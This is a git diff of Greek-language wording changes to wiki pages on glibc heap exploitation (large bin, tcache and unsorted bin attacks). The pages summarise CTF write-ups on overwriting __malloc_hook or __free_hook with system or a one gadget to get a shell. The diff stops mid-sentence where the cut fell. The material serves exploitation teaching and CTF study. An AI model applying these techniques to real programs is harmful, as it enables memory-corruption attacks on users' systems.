είναι **μικρότερο** από ένα τρέχον X chunk στο bin, έτσι πρέπει να εισαχθεί ακριβώς πριν από αυτό στο bin, και πρέπει να μπορούμε να τροποποιήσουμε το **`bk_nextsize`** του X καθώς εκεί θα γραφτεί η διεύθυνση του μικρότερου chunk. -Αυτός είναι ο σχετικός κώδικας από το malloc. Έχουν προστεθεί σχόλια για να κατανοήσουμε καλύτερα πώς η διεύθυνση αντικαταστάθηκε: +Αυτός είναι ο σχετικός κώδικας από το malloc. Έχουν προστεθεί σχόλια για να κατανοήσουμε καλύτερα πώς η διεύθυνση έχει αντικατασταθεί: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); @@ -42,7 +42,7 @@ victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_next fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 } ``` -Αυτό θα μπορούσε να χρησιμοποιηθεί για να **επικαλύψει τη μεταβλητή `global_max_fast` της libc** για να εκμεταλλευτεί μια επίθεση fast bin με μεγαλύτερα κομμάτια. +Αυτό θα μπορούσε να χρησιμοποιηθεί για να **επικαλύψει τη μεταβλητή `global_max_fast`** της libc για να εκμεταλλευτεί μια επίθεση fast bin με μεγαλύτερα κομμάτια. Μπορείτε να βρείτε μια άλλη εξαιρετική εξήγηση αυτής της επίθεσης στο [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 27b896a7f..80bf72358 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -10,34 +10,34 @@ bins-and-memory-allocations.md {{#endref}} -Πρώτα απ' όλα, σημειώστε ότι το Tcache εισήχθη στην έκδοση Glibc 2.26. +Πρώτα απ' όλα, σημειώστε ότι το Tcache εισήχθη στην έκδοση 2.26 της Glibc. Η **επίθεση Tcache** (γνωστή και ως **δηλητηρίαση Tcache**) που προτάθηκε στη [**σελίδα guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) είναι πολύ παρόμοια με την επίθεση fast bin, όπου ο στόχος είναι να αντικατασταθεί ο δείκτης στο επόμενο chunk μέσα σε ένα ελεύθερο chunk με μια αυθαίρετη διεύθυνση, ώστε αργότερα να είναι δυνατή η **κατανομή αυτής της συγκεκριμένης διεύθυνσης και πιθανώς η αντικατάσταση των δεικτών**. -Ωστόσο, σήμερα, αν εκτελέσετε τον αναφερόμενο κώδικα, θα λάβετε το σφάλμα: **`malloc(): unaligned tcache chunk detected`**. Έτσι, είναι απαραίτητο να γράψετε ως διεύθυνση στον νέο δείκτη μια ευθυγραμμισμένη διεύθυνση (ή να εκτελέσετε αρκετές φορές το δυαδικό αρχείο ώστε η γραμμένη διεύθυνση να είναι στην πραγματικότητα ευθυγραμμισμένη). +Ωστόσο, σήμερα, αν εκτελέσετε τον αναφερόμενο κώδικα, θα λάβετε το σφάλμα: **`malloc(): unaligned tcache chunk detected`**. Έτσι, είναι απαραίτητο να γράψετε ως διεύθυνση στον νέο δείκτη μια ευθυγραμμισμένη διεύθυνση (ή να εκτελέσετε αρκετές φορές το δυαδικό ώστε η γραμμένη διεύθυνση να είναι στην πραγματικότητα ευθυγραμμισμένη). ### Tcache indexes attack -Συνήθως είναι δυνατό να βρείτε στην αρχή του heap ένα chunk που περιέχει την **ποσότητα των chunks ανά δείκτη** μέσα στο tcache και τη διεύθυνση του **head chunk κάθε δείκτη tcache**. Αν για κάποιο λόγο είναι δυνατό να τροποποιηθεί αυτή η πληροφορία, θα ήταν δυνατό να **καταστήσουμε το head chunk κάποιου δείκτη να δείχνει σε μια επιθυμητή διεύθυνση** (όπως το `__malloc_hook`) ώστε στη συνέχεια να κατανεμηθεί ένα chunk του μεγέθους του δείκτη και να αντικατασταθούν τα περιεχόμενα του `__malloc_hook` σε αυτή την περίπτωση. +Συνήθως είναι δυνατό να βρείτε στην αρχή του heap ένα chunk που περιέχει την **ποσότητα των chunks ανά δείκτη** μέσα στο tcache και τη διεύθυνση του **κεφαλιού chunk κάθε δείκτη tcache**. Αν για κάποιο λόγο είναι δυνατό να τροποποιηθεί αυτή η πληροφορία, θα ήταν δυνατό να **κατευθυνθεί το κεφάλι chunk κάποιου δείκτη σε μια επιθυμητή διεύθυνση** (όπως το `__malloc_hook`) ώστε στη συνέχεια να κατανεμηθεί ένα chunk του μεγέθους του δείκτη και να αντικατασταθούν τα περιεχόμενα του `__malloc_hook` σε αυτή την περίπτωση. ## Examples - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) -- **Libc info leak**: Είναι δυνατό να γεμίσετε τα tcaches, να προσθέσετε ένα chunk στη μη ταξινομημένη λίστα, να αδειάσετε το tcache και να **ξανακατανείμετε το chunk από το unsorted bin** μόνο αντικαθιστώντας τα πρώτα 8B, αφήνοντας τη **δεύτερη διεύθυνση στη libc από το chunk ανέγγιχτη ώστε να μπορούμε να την διαβάσουμε**. -- **Tcache attack**: Το δυαδικό αρχείο είναι ευάλωτο σε 1B heap overflow. Αυτό θα εκμεταλλευτεί για να αλλάξει το **size header** ενός κατανεμημένου chunk κάνοντάς το μεγαλύτερο. Στη συνέχεια, αυτό το chunk θα **απελευθερωθεί**, προσθέτοντάς το στο tcache των chunks ψεύτικου μεγέθους. Στη συνέχεια, θα κατανεμηθεί ένα chunk με το ψεύτικο μέγεθος, και το προηγούμενο chunk θα **επιστραφεί γνωρίζοντας ότι αυτό το chunk ήταν στην πραγματικότητα μικρότερο** και αυτό παρέχει την ευκαιρία να **αντικατασταθεί ο δείκτης FD του επόμενου chunk στη μνήμη**.\ -Θα εκμεταλλευτούμε αυτό για να **αντικαταστήσουμε τον δείκτη FD του επόμενου chunk** ώστε να δείχνει στο **`malloc_hook`**, έτσι ώστε να είναι δυνατή η κατανομή 2 δεικτών: πρώτα ο νόμιμος δείκτης που μόλις τροποποιήσαμε, και στη συνέχεια η δεύτερη κατανομή θα επιστρέψει ένα chunk στο **`malloc_hook`** που είναι δυνατό να εκμεταλλευτεί για να γράψει ένα **one gadget**. +- **Libc info leak**: Είναι δυνατό να γεμίσετε τα tcaches, να προσθέσετε ένα chunk στη μη ταξινομημένη λίστα, να αδειάσετε το tcache και να **ξανακατανείμετε το chunk από το unsorted bin** μόνο αντικαθιστώντας τα πρώτα 8B, αφήνοντας τη **δεύτερη διεύθυνση στη libc από το chunk ανέγγιχτη ώστε να μπορέσουμε να την διαβάσουμε**. +- **Tcache attack**: Το δυαδικό είναι ευάλωτο σε 1B heap overflow. Αυτό θα εκμεταλλευτεί για να αλλάξει το **μέγεθος κεφαλίδας** ενός κατανεμημένου chunk κάνοντάς το μεγαλύτερο. Στη συνέχεια, αυτό το chunk θα **απελευθερωθεί**, προσθέτοντάς το στο tcache των chunks του ψεύτικου μεγέθους. Στη συνέχεια, θα κατανεμηθεί ένα chunk με το ψεύτικο μέγεθος, και το προηγούμενο chunk θα **επιστραφεί γνωρίζοντας ότι αυτό το chunk ήταν στην πραγματικότητα μικρότερο** και αυτό παρέχει την ευκαιρία να **αντικατασταθεί ο δείκτης FD του επόμενου chunk στη μνήμη**.\ +Θα εκμεταλλευτούμε αυτό για να **αντικαταστήσουμε τον δείκτη FD του επόμενου chunk** ώστε να δείχνει στο **`malloc_hook`**, έτσι ώστε στη συνέχεια να είναι δυνατή η κατανομή 2 δεικτών: πρώτα ο νόμιμος δείκτης που μόλις τροποποιήσαμε, και στη συνέχεια η δεύτερη κατανομή θα επιστρέψει ένα chunk στο **`malloc_hook`** που είναι δυνατό να εκμεταλλευτεί για να γράψει ένα **one gadget**. - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) -- **Libc info leak**: Υπάρχει χρήση μετά από απελευθέρωση και διπλή απελευθέρωση. Σε αυτή την αναφορά, ο συγγραφέας διέρρευσε μια διεύθυνση της libc διαβάζοντας τη διεύθυνση ενός chunk που τοποθετήθηκε σε ένα μικρό bin (όπως η διαρροή από το unsorted bin αλλά από το μικρό). -- **Tcache attack**: Μια Tcache εκτελείται μέσω μιας **διπλής απελευθέρωσης**. Το ίδιο chunk απελευθερώνεται δύο φορές, έτσι μέσα στο Tcache το chunk θα δείχνει στον εαυτό του. Στη συνέχεια, κατανεμηθεί, ο δείκτης FD του τροποποιείται ώστε να δείχνει στο **free hook** και στη συνέχεια κατανεμηθεί ξανά ώστε το επόμενο chunk στη λίστα να είναι στο free hook. Στη συνέχεια, αυτό επίσης κατανεμηθεί και είναι δυνατό να γραφτεί η διεύθυνση του `system` εδώ ώστε όταν ένα malloc που περιέχει `"/bin/sh"` απελευθερωθεί, να αποκτήσουμε ένα shell. +- **Libc info leak**: Υπάρχει χρήση μετά από απελευθέρωση και διπλή απελευθέρωση. Σε αυτή την αναφορά, ο συγγραφέας διέρρευσε μια διεύθυνση της libc διαβάζοντας τη διεύθυνση ενός chunk που τοποθετήθηκε σε μια μικρή bin (όπως η διαρροή από τη μη ταξινομημένη bin αλλά από τη μικρή). +- **Tcache attack**: Μια Tcache εκτελείται μέσω μιας **διπλής απελευθέρωσης**. Το ίδιο chunk απελευθερώνεται δύο φορές, έτσι μέσα στο Tcache το chunk θα δείχνει στον εαυτό του. Στη συνέχεια, κατανεμήθηκε, ο δείκτης FD του τροποποιείται ώστε να δείχνει στο **free hook** και στη συνέχεια κατανεμήθηκε ξανά ώστε το επόμενο chunk στη λίστα να είναι στο free hook. Στη συνέχεια, αυτό επίσης κατανεμήθηκε και είναι δυνατό να γραφτεί η διεύθυνση του `system` εδώ ώστε όταν μια malloc που περιέχει `"/bin/sh"` απελευθερωθεί, να αποκτήσουμε ένα shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - Η κύρια ευπάθεια εδώ είναι η ικανότητα να `free` οποιαδήποτε διεύθυνση στο heap υποδεικνύοντας την απόστασή της. -- **Tcache indexes attack**: Είναι δυνατό να κατανεμηθεί και να απελευθερωθεί ένα chunk ενός μεγέθους που όταν αποθηκευτεί μέσα στο tcache chunk (το chunk με τις πληροφορίες των tcache bins) θα δημιουργήσει μια **διεύθυνση με την τιμή 0x100**. Αυτό συμβαίνει επειδή το tcache αποθηκεύει την ποσότητα των chunks σε κάθε bin σε διαφορετικά bytes, επομένως ένα chunk σε έναν συγκεκριμένο δείκτη δημιουργεί την τιμή 0x100. -- Στη συνέχεια, αυτή η τιμή φαίνεται να υπάρχει ένα chunk μεγέθους 0x100. Επιτρέποντας να εκμεταλλευτεί με `free` αυτή τη διεύθυνση. Αυτό θα **προσθέσει αυτή τη διεύθυνση στον δείκτη των chunks μεγέθους 0x100 στο tcache**. -- Στη συνέχεια, **κατανεμίζοντας** ένα chunk μεγέθους **0x100**, η προηγούμενη διεύθυνση θα επιστραφεί ως chunk, επιτρέποντας την αντικατάσταση άλλων tcache indexes.\ -Για παράδειγμα, τοποθετώντας τη διεύθυνση του malloc hook σε έναν από αυτούς και κατανεμίζοντας ένα chunk του μεγέθους αυτού του δείκτη θα παραχωρήσει ένα chunk στο calloc hook, το οποίο επιτρέπει τη γραφή ενός one gadget για να αποκτήσουμε ένα shell. +- **Tcache indexes attack**: Είναι δυνατό να κατανεμηθεί και να απελευθερωθεί ένα chunk ενός μεγέθους που όταν αποθηκευτεί μέσα στο chunk tcache (το chunk με τις πληροφορίες των tcache bins) θα δημιουργήσει μια **διεύθυνση με την τιμή 0x100**. Αυτό συμβαίνει επειδή το tcache αποθηκεύει την ποσότητα των chunks σε κάθε bin σε διαφορετικά bytes, επομένως ένα chunk σε έναν συγκεκριμένο δείκτη δημιουργεί την τιμή 0x100. +- Στη συνέχεια, αυτή η τιμή φαίνεται να υπάρχει ένα chunk μεγέθους 0x100. Επιτρέποντας να εκμεταλλευτεί αυτό με `free` αυτή τη διεύθυνση. Αυτό θα **προσθέσει αυτή τη διεύθυνση στον δείκτη των chunks μεγέθους 0x100 στο tcache**. +- Στη συνέχεια, **κατανέμοντας** ένα chunk μεγέθους **0x100**, η προηγούμενη διεύθυνση θα επιστραφεί ως chunk, επιτρέποντας την αντικατάσταση άλλων tcache indexes.\ +Για παράδειγμα, τοποθετώντας τη διεύθυνση του malloc hook σε έναν από αυτούς και κατανεμώντας ένα chunk του μεγέθους αυτού του δείκτη θα παραχωρήσει ένα chunk στο calloc hook, το οποίο επιτρέπει τη γραφή ενός one gadget για να αποκτήσουμε ένα shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) -- Η ίδια ευπάθεια όπως πριν με έναν επιπλέον περιορισμό. -- **Tcache indexes attack**: Παρόμοια επίθεση με την προηγούμενη αλλά χρησιμοποιώντας λιγότερα βήματα απελευθερώνοντας το chunk που περιέχει τις πληροφορίες tcache ώστε η διεύθυνσή του να προστεθεί στον δείκτη tcache του μεγέθους του, έτσι ώστε να είναι δυνατό να κατανεμηθεί αυτό το μέγεθος και να αποκτηθούν οι πληροφορίες του tcache chunk ως chunk, το οποίο επιτρέπει την προσθήκη του free hook ως διεύθυνση ενός δείκτη, να το κατανεμηθεί και να γραφτεί ένα one gadget πάνω του. +- Η ίδια ευπάθεια όπως πριν με μια επιπλέον περιοριστική προϋπόθεση. +- **Tcache indexes attack**: Παρόμοια επίθεση με την προηγούμενη αλλά χρησιμοποιώντας λιγότερα βήματα απελευθερώνοντας το chunk που περιέχει τις πληροφορίες tcache ώστε η διεύθυνσή του να προστεθεί στον δείκτη tcache του μεγέθους του, έτσι ώστε να είναι δυνατό να κατανεμηθεί αυτό το μέγεθος και να αποκτηθούν οι πληροφορίες του chunk tcache ως chunk, το οποίο επιτρέπει την προσθήκη του free hook ως διεύθυνση ενός δείκτη, να το κατανεμήσουμε και να γράψουμε ένα one gadget πάνω του. - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - **Write After Free** για να προσθέσετε έναν αριθμό στον δείκτη `fd`. - Χρειάζεται πολύ **heap feng-shui** σε αυτή την πρόκληση. Η αναφορά δείχνει πώς **η διαχείριση της κεφαλής της λίστας ελεύθερων Tcache** είναι πολύ χρήσιμη. diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index dbc60e757..57add88d9 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -10,46 +10,46 @@ bins-and-memory-allocations.md {{#endref}} -Τα unsorted lists είναι ικανά να γράψουν τη διεύθυνση στο `unsorted_chunks (av)` στη διεύθυνση `bk` του chunk. Επομένως, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει τη διεύθυνση του δείκτη `bk`** σε ένα chunk μέσα στο unsorted bin, θα μπορούσε να είναι σε θέση να **γράψει αυτή τη διεύθυνση σε μια αυθαίρετη διεύθυνση** που θα μπορούσε να είναι χρήσιμη για να διαρρεύσει διευθύνσεις Glibc ή να παρακάμψει κάποια άμυνα. +Οι unsorted λίστες είναι ικανές να γράφουν τη διεύθυνση στο `unsorted_chunks (av)` στη διεύθυνση `bk` του chunk. Επομένως, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει τη διεύθυνση του δείκτη `bk`** σε ένα chunk μέσα στο unsorted bin, θα μπορούσε να **γράψει αυτή τη διεύθυνση σε μια αυθαίρετη διεύθυνση** που θα μπορούσε να είναι χρήσιμη για να διαρρεύσει διευθύνσεις Glibc ή να παρακάμψει κάποια άμυνα. Έτσι, βασικά, αυτή η επίθεση επιτρέπει να **οριστεί ένας μεγάλος αριθμός σε μια αυθαίρετη διεύθυνση**. Αυτός ο μεγάλος αριθμός είναι μια διεύθυνση, η οποία θα μπορούσε να είναι μια διεύθυνση heap ή μια διεύθυνση Glibc. Ένας τυπικός στόχος είναι **`global_max_fast`** για να επιτρέψει τη δημιουργία fast bin bins με μεγαλύτερα μεγέθη (και να περάσει από μια επίθεση unsorted bin σε μια επίθεση fast bin). > [!TIP] -> Ρ> ίχνοντας μια ματιά στο παράδειγμα που παρέχεται στο [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) και χρησιμοποιώντας 0x4000 και 0x5000 αντί για 0x400 και 0x500 ως μεγέθη chunk (για να αποφευχθεί το Tcache), είναι δυνατόν να δούμε ότι **σήμερα** το σφάλμα **`malloc(): unsorted double linked list corrupted`** ενεργοποιείται. +> Ρ> ίξτε μια ματιά στο παράδειγμα που παρέχεται στο [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) και χρησιμοποιώντας 0x4000 και 0x5000 αντί για 0x400 και 0x500 ως μεγέθη chunk (για να αποφευχθεί το Tcache) είναι δυνατόν να δείτε ότι **σήμερα** το σφάλμα **`malloc(): unsorted double linked list corrupted`** ενεργοποιείται. > -> Επομένως, αυτή η επίθεση unsorted bin τώρα (μεταξύ άλλων ελέγχων) απαιτεί επίσης να είναι σε θέση να διορθώσει τη διπλή συνδεδεμένη λίστα ώστε να παρακαμφθεί `victim->bk->fd == victim` ή όχι `victim->fd == av (arena)`, που σημαίνει ότι η διεύθυνση όπου θέλουμε να γράψουμε πρέπει να έχει τη διεύθυνση του ψεύτικου chunk στη θέση `fd` της και ότι το ψεύτικο chunk `fd` δείχνει στην αρένα. +> Επομένως, αυτή η επίθεση unsorted bin τώρα (μεταξύ άλλων ελέγχων) απαιτεί επίσης να είναι δυνατή η διόρθωση της διπλής συνδεδεμένης λίστας ώστε να παρακαμφθεί `victim->bk->fd == victim` ή όχι `victim->fd == av (arena)`, που σημαίνει ότι η διεύθυνση όπου θέλουμε να γράψουμε πρέπει να έχει τη διεύθυνση του ψεύτικου chunk στη θέση `fd` της και ότι το ψεύτικο chunk `fd` δείχνει στην αρένα. > [!CAUTION] > Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το μικρό και το μεγάλο). Έτσι, μπορούμε μόνο να **χρησιμοποιήσουμε allocations από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες allocations και να καταρρεύσει), και για να ενεργοποιηθεί αυτό πρέπει να **κατανεμηθεί το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.** > > Σημειώστε ότι η επαναγραφή του **`global_max_fast`** μπορεί να βοηθήσει σε αυτή την περίπτωση, εμπιστευόμενοι ότι το fast bin θα είναι σε θέση να φροντίσει όλες τις άλλες allocations μέχρι να ολοκληρωθεί η εκμετάλλευση. -Ο κώδικας από τον [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) το εξηγεί πολύ καλά, αν και αν τροποποιήσετε τις mallocs για να κατανεμηθεί μνήμη αρκετά μεγάλη ώστε να μην καταλήξει σε Tcache, μπορείτε να δείτε ότι το προηγουμένως αναφερόμενο σφάλμα εμφανίζεται, αποτρέποντας αυτή την τεχνική: **`malloc(): unsorted double linked list corrupted`** +Ο κώδικας από [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) το εξηγεί πολύ καλά, αν και αν τροποποιήσετε τις mallocs για να κατανεμηθεί μνήμη αρκετά μεγάλη ώστε να μην καταλήξει σε Tcache, μπορείτε να δείτε ότι το προηγουμένως αναφερόμενο σφάλμα εμφανίζεται, αποτρέποντας αυτή την τεχνική: **`malloc(): unsorted double linked list corrupted`** ## Unsorted Bin Infoleak Attack Αυτό είναι στην πραγματικότητα μια πολύ βασική έννοια. Τα chunks στο unsorted bin θα έχουν δείκτες. Το πρώτο chunk στο unsorted bin θα έχει στην πραγματικότητα τους συνδέσμους **`fd`** και **`bk`** **να δείχνουν σε ένα μέρος της κύριας αρένας (Glibc)**.\ Επομένως, αν μπορείτε να **βάλτε ένα chunk μέσα σε ένα unsorted bin και να το διαβάσετε** (use after free) ή **να το κατανεμηθείτε ξανά χωρίς να επαναγράψετε τουλάχιστον 1 από τους δείκτες** για να **το διαβάσετε**, μπορείτε να έχετε μια **Glibc info leak**. -Μια παρόμοια [**επίθεση που χρησιμοποιήθηκε σε αυτή την αναφορά**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), ήταν να καταχραστεί μια δομή 4 chunks (A, B, C και D - D είναι μόνο για να αποτρέψει τη συγχώνευση με το top chunk) έτσι ώστε μια overflow null byte στο B να χρησιμοποιηθεί για να κάνει το C να υποδείξει ότι το B ήταν ανενεργό. Επίσης, στο B τα δεδομένα `prev_size` τροποποιήθηκαν έτσι ώστε το μέγεθος αντί να είναι το μέγεθος του B να είναι A+B.\ +Μια παρόμοια [**επίθεση που χρησιμοποιήθηκε σε αυτή την αναφορά**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), ήταν να καταχραστεί μια δομή 4 chunks (A, B, C και D - D είναι μόνο για να αποτρέψει τη συγχώνευση με το top chunk) έτσι ώστε μια υπερχείλιση null byte στο B να χρησιμοποιηθεί για να κάνει το C να υποδείξει ότι το B ήταν αχρησιμοποίητο. Επίσης, στο B τα δεδομένα `prev_size` τροποποιήθηκαν έτσι ώστε το μέγεθος αντί να είναι το μέγεθος του B να είναι A+B.\ Στη συνέχεια, το C απελευθερώθηκε και συγχωνεύθηκε με A+B (αλλά το B ήταν ακόμα σε χρήση). Ένα νέο chunk μεγέθους A κατανεμήθηκε και στη συνέχεια οι διευθύνσεις libc διαρρεύθηκαν στο B από όπου διαρρεύθηκαν. ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - Ο στόχος είναι να επαναγραφεί μια παγκόσμια μεταβλητή με μια τιμή μεγαλύτερη από 4869 ώστε να είναι δυνατή η λήψη της σημαίας και το PIE να μην είναι ενεργοποιημένο. -- Είναι δυνατόν να παραχθούν chunks αυθαίρετου μεγέθους και υπάρχει μια heap overflow με το επιθυμητό μέγεθος. -- Η επίθεση ξεκινά δημιουργώντας 3 chunks: chunk0 για να καταχραστεί την overflow, chunk1 για να υπερχειλιστεί και chunk2 ώστε το top chunk να μην συγχωνευθεί με τα προηγούμενα. -- Στη συνέχεια, το chunk1 απελευθερώνεται και το chunk0 υπερχειλίζεται ώστε ο δείκτης `bk` του chunk1 να δείχνει σε: `bk = magic - 0x10` +- Είναι δυνατή η δημιουργία chunks αυθαίρετου μεγέθους και υπάρχει μια υπερχείλιση heap με το επιθυμητό μέγεθος. +- Η επίθεση ξεκινά δημιουργώντας 3 chunks: chunk0 για να καταχραστεί την υπερχείλιση, chunk1 για να υπερχυθεί και chunk2 ώστε το top chunk να μην συγχωνευθεί με τα προηγούμενα. +- Στη συνέχεια, το chunk1 απελευθερώνεται και το chunk0 υπερχύνεται ώστε ο δείκτης `bk` του chunk1 να δείχνει: `bk = magic - 0x10` - Στη συνέχεια, το chunk3 κατανεμήθηκε με το ίδιο μέγεθος όπως το chunk1, το οποίο θα ενεργοποιήσει την επίθεση unsorted bin και θα τροποποιήσει την τιμή της παγκόσμιας μεταβλητής, καθιστώντας δυνατή τη λήψη της σημαίας. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - Η συνάρτηση merge είναι ευάλωτη επειδή αν και οι δύο δείκτες που περάστηκαν είναι ο ίδιος, θα επανακατανεμηθεί σε αυτόν και στη συνέχεια θα απελευθερωθεί, αλλά επιστρέφει έναν δείκτη σε αυτήν την απελευθερωμένη περιοχή που μπορεί να χρησιμοποιηθεί. -- Επομένως, **δημιουργούνται 2 chunks**: **chunk0** το οποίο θα συγχωνευθεί με τον εαυτό του και chunk1 για να αποτρέψει τη συγχώνευση με το top chunk. Στη συνέχεια, η **συνάρτηση merge καλείται με το chunk0** δύο φορές, γεγονός που θα προκαλέσει μια χρήση μετά την απελευθέρωση. +- Επομένως, **δημιουργούνται 2 chunks**: **chunk0** το οποίο θα συγχωνευθεί με τον εαυτό του και chunk1 για να αποτρέψει τη συγχώνευση με το top chunk. Στη συνέχεια, η **συνάρτηση merge καλείται με το chunk0** δύο φορές, γεγονός που θα προκαλέσει χρήση μετά την απελευθέρωση. - Στη συνέχεια, η **συνάρτηση `view`** καλείται με δείκτη 2 (ο οποίος είναι ο δείκτης του chunk που χρησιμοποιήθηκε μετά την απελευθέρωση), το οποίο θα **διαρρεύσει μια διεύθυνση libc**. -- Καθώς το δυαδικό έχει προστασίες για να επιτρέπει μόνο malloc μεγέθη μεγαλύτερα από **`global_max_fast`**, δεν χρησιμοποιείται κανένα fastbin, μια επίθεση unsorted bin θα χρησιμοποιηθεί για να επαναγράψει την παγκόσμια μεταβλητή `global_max_fast`. -- Στη συνέχεια, είναι δυνατόν να καλέσετε τη συνάρτηση edit με τον δείκτη 2 (τον δείκτη του pointer που χρησιμοποιήθηκε μετά την απελευθέρωση) και να επαναγράψετε τον δείκτη `bk` ώστε να δείχνει σε `p64(global_max_fast-0x10)`. Στη συνέχεια, η δημιουργία ενός νέου chunk θα χρησιμοποιήσει τη προηγουμένως παραβιασμένη ελεύθερη διεύθυνση (0x20) θα **ενεργοποιήσει την επίθεση unsorted bin** επαναγράφοντας το `global_max_fast` με μια πολύ μεγάλη τιμή, επιτρέποντας τώρα τη δημιουργία chunks σε fast bins. +- Καθώς το δυαδικό έχει προστασίες για να επιτρέπει μόνο malloc μεγέθη μεγαλύτερα από **`global_max_fast`**, δεν χρησιμοποιείται κανένα fastbin, θα χρησιμοποιηθεί μια επίθεση unsorted bin για να επαναγραφεί η παγκόσμια μεταβλητή `global_max_fast`. +- Στη συνέχεια, είναι δυνατή η κλήση της συνάρτησης edit με τον δείκτη 2 (τον δείκτη του pointer που χρησιμοποιήθηκε μετά την απελευθέρωση) και να επαναγραφεί ο δείκτης `bk` ώστε να δείχνει σε `p64(global_max_fast-0x10)`. Στη συνέχεια, η δημιουργία ενός νέου chunk θα χρησιμοποιήσει τη προηγουμένως παραβιασμένη ελεύθερη διεύθυνση (0x20) που θα **ενεργοποιήσει την επίθεση unsorted bin** επαναγράφοντας το `global_max_fast` με μια πολύ μεγάλη τιμή, επιτρέποντας τώρα τη δημιουργία chunks σε fast bins. - Τώρα εκτελείται μια **επίθεση fast bin**: -- Πρώτα απ 'όλα, ανακαλύπτεται ότι είναι δυνατόν να εργαστείτε με γρήγορες **chunks μεγέθους 200** στη θέση **`__free_hook`**: +- Πρώτα απ 'όλα, ανακαλύπτεται ότι είναι δυνατό να εργαστείτε με γρήγορες **chunks μεγέθους 200** στη θέση **`__free_hook`**: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -58,16 +58,16 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- Αν καταφέρουμε να αποκτήσουμε ένα γρήγορο chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατόν να επαναγράψουμε έναν δείκτη συνάρτησης που θα εκτελείται -- Για αυτό, δημιουργείται ένα νέο chunk μεγέθους `0xfc` και η συγχωνευμένη συνάρτηση καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε ένα ελεύθερο chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin. +- Αν καταφέρουμε να αποκτήσουμε ένα γρήγορο chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατό να επαναγράψουμε έναν δείκτη συνάρτησης που θα εκτελείται +- Για αυτό, δημιουργείται ένα νέο chunk μεγέθους `0xfc` και η συνάρτηση merged καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε ένα ελεύθερο chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin. - Στη συνέχεια, η συνάρτηση edit καλείται σε αυτό το chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του fast bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**. -- Στη συνέχεια, δημιουργείται ένα chunk μεγέθους `0x1f8` για να ανακτηθεί από το fast bin το προηγούμενο άχρηστο chunk, ώστε να δημιουργηθεί ένα άλλο chunk μεγέθους `0x1f8` για να αποκτήσουμε ένα fast bin chunk στη **`__free_hook`** το οποίο επαναγράφεται με τη διεύθυνση της συνάρτησης **`system`**. +- Στη συνέχεια, δημιουργείται ένα chunk μεγέθους `0x1f8` για να ανακτηθεί από το fast bin το προηγούμενο άχρηστο chunk, ώστε να δημιουργηθεί ένα άλλο chunk μεγέθους `0x1f8` για να αποκτήσει 